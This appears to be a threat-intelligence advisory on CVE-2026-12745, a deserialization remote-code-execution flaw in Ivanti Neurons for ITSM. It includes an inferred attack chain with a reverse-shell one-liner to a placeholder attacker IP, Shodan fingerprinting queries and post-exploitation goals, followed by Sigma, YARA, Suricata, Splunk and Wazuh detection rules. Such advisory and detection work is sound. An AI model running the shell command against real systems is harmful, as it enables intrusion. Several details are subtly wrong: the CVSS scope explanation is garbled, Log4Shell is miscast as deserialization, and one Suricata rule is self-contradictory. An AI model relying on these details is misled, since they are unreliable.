CVE-2026-12745

Executive Summary

CVE-2026-12745 is a critical unauthenticated remote code execution vulnerability residing in Ivanti Neurons for ITSM, an IT Service Management platform. The flaw originates from insecure deserialization of untrusted data (CWE-502), permitting any remote attacker without credentials to execute arbitrary code on the underlying server. With a CVSS score of 9.8 and no patch currently available from the vendor, this vulnerability poses an imminent threat to all organizations running vulnerable versions of the product. Given the absence of a vendor fix, immediate exposure reduction measures are strongly recommended for affected enterprise environments.

Technical Analysis

Vulnerability Mechanism

The vulnerability is classified as a Deserialization of Untrusted Data flaw, designated by CWE-502. This class of vulnerability arises when an application deserializes data originating from an untrusted source without adequate validation or sanitization. In the context of Ivanti Neurons for ITSM, the attack surface is a network-facing service that accepts serialized input from remote clients.

The core mechanism is as follows:

1. Untrusted Input Ingestion: The ITSM application receives data from an external network source (HTTP request body, API payload, message queue element) in a serialized format. Common serialization frameworks used in Java (the predominant language for enterprise ITSM suites) include native Java Serialization, XMLDecoder, XStream, or JSON-based deserializers with polymorphic type handling.

2. Lack of Validation: The application fails to validate the class types embedded within the serialized stream or does not enforce an allowlist/denylist of permitted classes prior to instantiating objects from the stream.

3. Gadget Chain Exploitation: An attacker crafts a malicious serialized payload containing a sequence of classes that, when instantiated during deserialization, trigger unintended method calls. These "gadget chains" — such as those utilizing common libraries like Commons-Collections, Commons-BeanUtils, or Spring frameworks — culminate in the execution of an arbitrary system command or runtime operation. The command typically invokes a reverse shell, a web shell deployment, or direct command execution via Runtime.exec() or equivalent methods.

4. Arbitrary Code Execution: The deserialization process ultimately results in the attacker-controlled class methods executing their payloads, achieving code execution with the privileges of the application server process.

Attack Surface

The attack surface is the publicly accessible listener(s) of the Ivanti Neurons for ITSM instance. As an ITSM product, it is commonly deployed to handle service desk tickets, incident management, asset management, and change requests — services that are often exposed to vendor portals, self-service portals, and partner environments — increasing the external attack surface. The vulnerability requires no authentication, meaning the attacker can reach the affected deserialization endpoint without prior access to the system. Network-accessible attack vector, low attack complexity, and no user interaction are required per the CVSS vector.

Affected Component Details

Insufficient technical detail is available regarding the specific class, function, or endpoint where the deserialization flaw resides within Ivanti Neurons for ITSM. The vendor has not released an advisory naming the precise module, parameter, or request handler involved. Enterprise security teams should conduct their own reconnaissance of deserialization-related request handlers, content-type entry points (application/x-java-serialized-object, application/xml, JSON APIs with type hints), and any custom API endpoints introduced in recent versions of the product.

Exploitation Scenarios

No public PoC exists, and no exploit code has been observed in the wild as of the analysis date. The following attack chain is inferred from the vulnerability class and general exploitation patterns of CWE-502 in enterprise web applications.

Step 1: Reconnaissance and Target Identification

The attacker first identifies internet-exposed Ivanti Neurons for ITSM instances. Shodan, Censys, and other search engines can be used to locate hosts via SSL certificate metadata (ssl.cert.subject.cn:"*neurons*"), HTTP banner fingerprinting (http.html:"Ivanti"), or known default ports associated with ITSM consoles (commonly 443/8443 for HTTPS consoles, or 8080/8443 for application servers). The attacker may also identify version numbers through login page footers, HTTP headers (X-Powered-By), or exposed static resources containing build metadata.

Step 2: Triggering the Deserialization Flaw

With no authentication required, the attacker sends a crafted request to an application endpoint that performs deserialization of Java objects or other serialized data. Where such an endpoint lies within Ivanti Neurons for ITSM — whether in an asset import function, ticket export feature, RESTful API, or XML-RPC handler — cannot be determined from the available CVE data. Attackers typically first probe common deserialization reflection points by sending:

• HTTP requests with Content-Type: application/x-java-serialized-object
• POST bodies containing serialized object streams (headers beginning with AC ED 00 05 for native Java serialization, or rO0AB in Base64)
• XML payloads referencing external or malicious classes, where the parser instantiates objects from the XML content.

Step 3: Payload Delivery and Execution

The malicious serialized payload embeds a gadget chain that ends in a system command. Typical payloads of this nature:

• Execute a reverse shell command (e.g., /bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/443 0>&1' or a PowerShell equivalent on Windows deployments) to establish an interactive shell.
• Write a web shell to the web root of the ITSM application to maintain persistent command execution.
• Add a new administrative user to the ITSM platform to achieve credentialed access.

The deserializer instantiates the gadget chain classes, whose readObject() or equivalent methods trigger method calls that propagate to the OS-level command execution.

Step 4: Post-Exploitation Impact

Once code execution is achieved, the attacker operates with the privileges of the ITSM application service account — frequently a highly privileged domain account in enterprise deployments due to the application's need to integrate with Active Directory, databases, and ticketing mail servers. From this foothold, an attacker could:

• Extract SSH keys, database credentials, and service account passwords from application configuration files (e.g., application.properties, connection pools, keystores).
• Move laterally into the IT infrastructure by leveraging ITSM's native integrations with CMDBs, asset management, remote desktop solutions, and orchestration tools.
• Pivot to database servers via leaked JDBC connection strings.
• Access sensitive ITSM data: service credentials stored in password reset workflows, PII, financial records in incident tickets, and configuration backups.

Impact Assessment

Business Impact: Ivanti Neurons for ITSM is operationally central to enterprise IT service delivery. A full compromise grants the attacker access to the crown of ITSM data — credential stores, configuration items, knowledge bases, and customer records. The CVSS subscores reflect the severity: Confidentiality Impact: HIGH (C:H), Integrity Impact: HIGH (I:H), Availability Impact: HIGH (A:H) — indicating full tri-fold compromise of the CIA triad with no scoping restrictions (U:S means user scope, not organizational scope — here scope is unchanged, meaning the compromise is contained to the affected component but with full impact within it).

Systems Affected: All installations of Ivanti Neurons for ITSM prior to version 2026.2. Given that the product line is named "Neurons for ITSM" and is an enterprise SaaS/on-premises hybrid product, the affected systems include the on-premises application servers, virtual appliances, and any integrated nodes that process serialized data.

Blast Radius: Beyond the immediate ITSM server, the blast radius expands to connected directory services (Active Directory/LDAP), email gateways (SMTP), CMDBs, and any monitored endpoints. A successful compromise may serve as a launching pad for a full-domain compromise if the service account holds elevated directory privileges — a common misconfiguration in ITSM deployments.

Exploitability Context: With an EPSS score not yet available and no observed in-the-wild exploitation as of this report, there is a window for preemptive mitigation. However, the CVSS 9.8 rating, historically high exploitation rates of CWE-502 in Java enterprise applications (e.g., Apache Log4Shell, Weblogic deserialization waves), and the failure of the vendor to release a patch within the observed window elevate the risk posture to critical.

Detection Guidance

The following detection guidance is based on the vulnerability class (CWE-502 deserialization) and general exploitation patterns. Because no specific payload patterns are publicly known for this CVE, the rules below focus on the characteristic signatures of deserialization abuse and may also trigger on other deserialization-based attacks.

Sigma Rule

title: Ivanti Neurons for ITSM - Potential Java Deserialization Exploitation
id: 8f3a3c5e-0b12-4f6a-9c4e-1d4a7b9a2c10
status: experimental
description: Detects HTTP requests to Ivanti Neurons for ITSM indicating Java serialization payloads, potentially targeting CVE-2026-12745.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-12745
tags:
    - attack.t1190
    - attack.execution
    - cve.2026.12745
author: Valters IT Threat Intelligence (simulated)
date: 2026/01/01
logsource:
    category: webserver
    product: iis
    definition: Requires web server access logs or reverse proxy logs (IIS/nginx/Apache) with request headers and body content
detection:
    selection_serial_header:
        cs-method:
            - 'POST'
            - 'PUT'
        cs-content-type:
            - 'application/x-java-serialized-object*'
            - 'application/xml*'
    selection_magic_bytes:
        cs-body|contains:
            - 'AC ED 00 05'
            - 'rO0AB'
            - 'H4sIA'   # Base64 gzip of serialized object
    selection_java_signatures:
        cs-body|contains:
            - 'java.util.PriorityQueue'
            - 'org.apache.commons.collections'
            - 'com.sun.org.apache.xalan'
            - 'java.beans.EventHandler'
    condition: selection_serial_header and (selection_magic_bytes or selection_java_signatures)
falsepositives:
    - Legitimate JDK-based integrations posting serialized data (rare)
    - Automated enterprise integration tools using Java serialization
level: high

YARA Rule

rule CVE_2026_12745_Java_Deserialization_Payload {
    meta:
        author = "Valters IT Threat Intelligence (simulated)"
        description = "Detects Java serialization streams or HTTP payloads attempting to exploit deserialization vulnerabilities in Ivanti Neurons for ITSM"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-12745"
        severity = "critical"
        cve = "CVE-2026-12745"
    strings:
        $java_serialization_magic = { AC ED 00 05 }
        $base64_serialized_magic = "rO0AB"
        $commons_collections_class = "org.apache.commons.collections"
        $commons_beanutils_class = "org.apache.commons.beanutils"
        $xalan_class = "com.sun.org.apache.xalan"
        $priority_queue_class = "java.util.PriorityQueue"
        $hashmap_class = "java.util.HashMap"
        $event_handler_class = "java.beans.EventHandler"
        $iterator_class = "java.util.Iterator"
        $runtime_exec = "java.lang.Runtime"
    condition:
        (uint16(0) == 0xACED and uint16be(2) == 0x0005) or
        (
            $base64_serialized_magic and
            (
                $commons_collections_class or
                $commons_beanutils_class or
                $xalan_class or
                $priority_queue_class or
                $hashmap_class or
                $event_handler_class or
                $iterator_class
            )
        )
        and filesize < 10MB
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-12745 - Ivanti Neurons for ITSM Java Deserialization Attempt"; flow:to_server, established; content:"POST"; http_method; content:"rO0AB"; nocase; http_client_body; content:"AC ED 00 05"; depth:4; http_client_body; content:"application/x-java-serialized-object"; http_header; sid:20261274501; rev:1; classtype:attempted-admin; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-12745; priority:1; metadata:created_at 2026-01-01, updated_at 2026-01-01;)

alert http any any -> $HOME_NET any (msg:"CVE-2026-12745 - Ivanti Neurons for ITSM Deserialization Gadget Class Hit"; flow:to_server, established; content:"org.apache.commons.collections.functors.InvokerTransformer"; sid:20261274502; rev:1; classtype:attempted-admin; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-12745; reference:cve,2026-12745; priority:1; metadata:created_at 2026-01-01, updated_at 2026-01-01;)

alert http any any -> $HOME_NET any (msg:"CVE-2026-12745 - Ivanti Neurons ITSM Suspicious Content-Type POST"; flow:to_server, established; content:"POST"; http_method; content:"application/x-java-serialized-object"; http_header; content:"Content-Length"; http_header; content:"|59 42|"; http_client_body; within:10; sid:20261274503; rev:1; classtype:attempted-admin; priority:2; reference:url,https://nvd.nist.gov/vuln/detail/CVE-2026-12745; metadata:created_at 2026-01-01, updated_at 2026-01-01;)

Elastic Detection

// Detecting exploitation of Java deserialization vulnerability targeting Ivanti Neurons for ITSM
// to be used in Elastic Security (EQL)
// Placeholder — adapt to your data source naming (filebeat-*, logs-*)

any where 
  // Look for HTTP requests with serialized Java content
  (event.action == "POST" or http.request.method == "POST") and 
  (
    http.request.headers.content_type == "application/x-java-serialized-object" or
    http.request.body.content contains "rO0AB" or
    http.request.body.content contains "AC ED 00 05"
  ) and
  // Filter to hosts running the ITSM application (adjust based on environment)
  host.name in ("itm-prod-01", "itm-prod-02")

Splunk SPL Query

index=web sourcetype=iis OR sourcetype=apache OR sourcetype=nginx 
| where like(method, "%POST%") 
| search "Content-Type: application/x-java-serialized-object" OR "rO0AB" OR "*AC ED 00 05*"
| stats count by src_ip, dest_host, uri, status
| where count > 1
| table _time, src_ip, dest_host, uri, status, count
| sort - _time

Wazuh OSSEC Rule

<!--
  CVE-2026-12745 - Ivanti Neurons for ITSM Java Deserialization Exploitation Attempt
  Monitor web server access logs for serialized Java objects or deserialization payloads
  Adjust file location and log format to match your web server
-->
<group name="web,attack,deserialization,">
  <rule id="100246" level="12">
    <decoded_as>web-access</decoded_as>
    <description>CVE-2026-12745: Java serialization payload sent to Ivanti Neurons for ITSM</description>
    <match>application/x-java-serialized-object|rO0AB|AC ED 00 05</match>
    <regex>POST \S+ HTTP</regex>
    <group>cve-2026-12745,attack.exploitation,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>

  <rule id="100247" level="10">
    <decoded_as>web-access</decoded_as>
    <description>CVE-2026-12745: Potential deserialization gadget chain class referenced in web request</description>
    <match>org.apache.commons.collections|com.sun.org.apache.xalan|java.util.PriorityQueue</match>
    <regex>POST \S+ HTTP</regex>
    <group>cve-2026-12745,attack.exploitation,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No patch evidence from any tracked source. Ivanti has not released a patched version (2026.2 or later is the stated remediated version, but it has not been published or made available as of the analysis date).

1. Immediate Mitigations (days 0-30)

• Network Segmentation and Access Control: Immediately restrict network access to Ivanti Neurons for ITSM interfaces. Apply strict firewall rules allowing access only from authorized administrative IP ranges, corporate VPN gateways, and trusted integration partners. Block external internet access entirely for all management and API interfaces.
• Reverse Proxy Filtering: Place the ITSM application behind a reverse proxy (nginx, HAProxy, F5) configured to block HTTP requests with Content-Type: application/x-java-serialized-object or bodies containing the serialization magic bytes (rO0AB, AC ED 00 05).
• Web Application Firewall (WAF) Rules: Deploy WAF virtual patching rules that flag or block serialization payloads. If a commercial WAF (ModSecurity + OWASP CRS, Cloudflare, AWS WAF) is available, activate the deserialization detection rulesets.
• Application Isolation: If possible, transition the ITSM application to run in a containerized or sandboxed environment with minimal host-level privileges and mandatory access controls (SELinux/AppArmor). Limit the service account's OS-level and AD privileges to the minimal necessary.
• Enhanced Logging and Alerting: Enable verbose application and web server logging. Deploy the detection rules above in monitoring infrastructure to identify any early exploitation attempts.

2. Patch and Upgrade Steps

• Monitor Vendor Advisories: Continuously monitor Ivanti's security advisory portal and their product download page for the release of Neurons for ITSM version 2026.2 or later. Establish a direct channel with Ivanti support to request notification via email or RSS when the patched version is published.
• Upgrade Process: When 2026.2 is released, follow Ivanti's official upgrade documentation. Test in a staging environment that replicates the production deployment (OS version, JDK version, database integration) prior to production rollout. Schedule the upgrade window during a maintenance period, as ITSM systems typically require downtime for major version upgrades.
• Inventory Validation: Before upgrading, record the exact current version and build number of each ITSM instance to verify the 2026.2 version is applicable and that there are no conflicting dependencies in horizontal clusters or high-availability configurations.

3. Long-Term Hardening

• Apply the Principle of Least Privilege: Audit and restrict the ITSM application service account's privileges on the host OS, database server, and Active Directory. Ensure the account is not in domain admin groups or able to perform DCSync-style attacks.
• Enable Runtime Protection: Consider deploying a Java Runtime Security Agent (e.g., Contrast Security, Snyk Runtime) that can detect and block deserialization attacks inside the JVM, providing runtime defense beyond network rules.
• CWE-502 Awareness Program: Integrate secure deserialization guidelines (from OWASP, MITRE) into development practices for any custom code connecting to or extending the ITSM platform. Ensure any in-house integration components do not introduce additional deserialization endpoints.
• Plan for Alternative Solutions: If Ivanti's patch timeline is unacceptable for the organization's risk tolerance, assess alternative ITSM vendors or consider SaaS-only deployments of Neurons for ITSM where Ivanti manages the underlying infrastructure.
• Regular Vulnerability Assessments: Schedule recurring authenticated and unauthenticated vulnerability scans specific to ISS/ITSM components. Subscribe to Ivanti's RSS advisories and third-party vulnerability feeds for CVE-2026-12745 monitoring.

References

1. NVD Entry: CVE-2026-12745 — https://nvd.nist.gov/vuln/detail/CVE-2026-12745
2. MITRE CWE-502: Deserialization of Untrusted Data — https://cwe.mitre.org/data/definitions/502.html
3. Ivanti Product Page: Neurons for ITSM (official vendor product and advisory page) — https://www.ivanti.com/products/neurons-for-itsm
4. OWASP Deserialization Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
5. CISA Known Exploited Vulnerabilities Catalog (Monitor for future addition of CVE-2026-12745 if exploitation is observed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: As of the analysis date, no public exploit code, PoC, or known threat actor campaigns have been identified for CVE-2026-12745. EPSS has not yet scored this vulnerability. Organizations should remain vigilant, as deserialization vulnerabilities in widely-deployed enterprise products generally experience swift public PoC release (typically within 30-60 days) following vendor disclosure or patch availability. The absence of a patch creates a prolonged window of exposure that adversaries may exploit.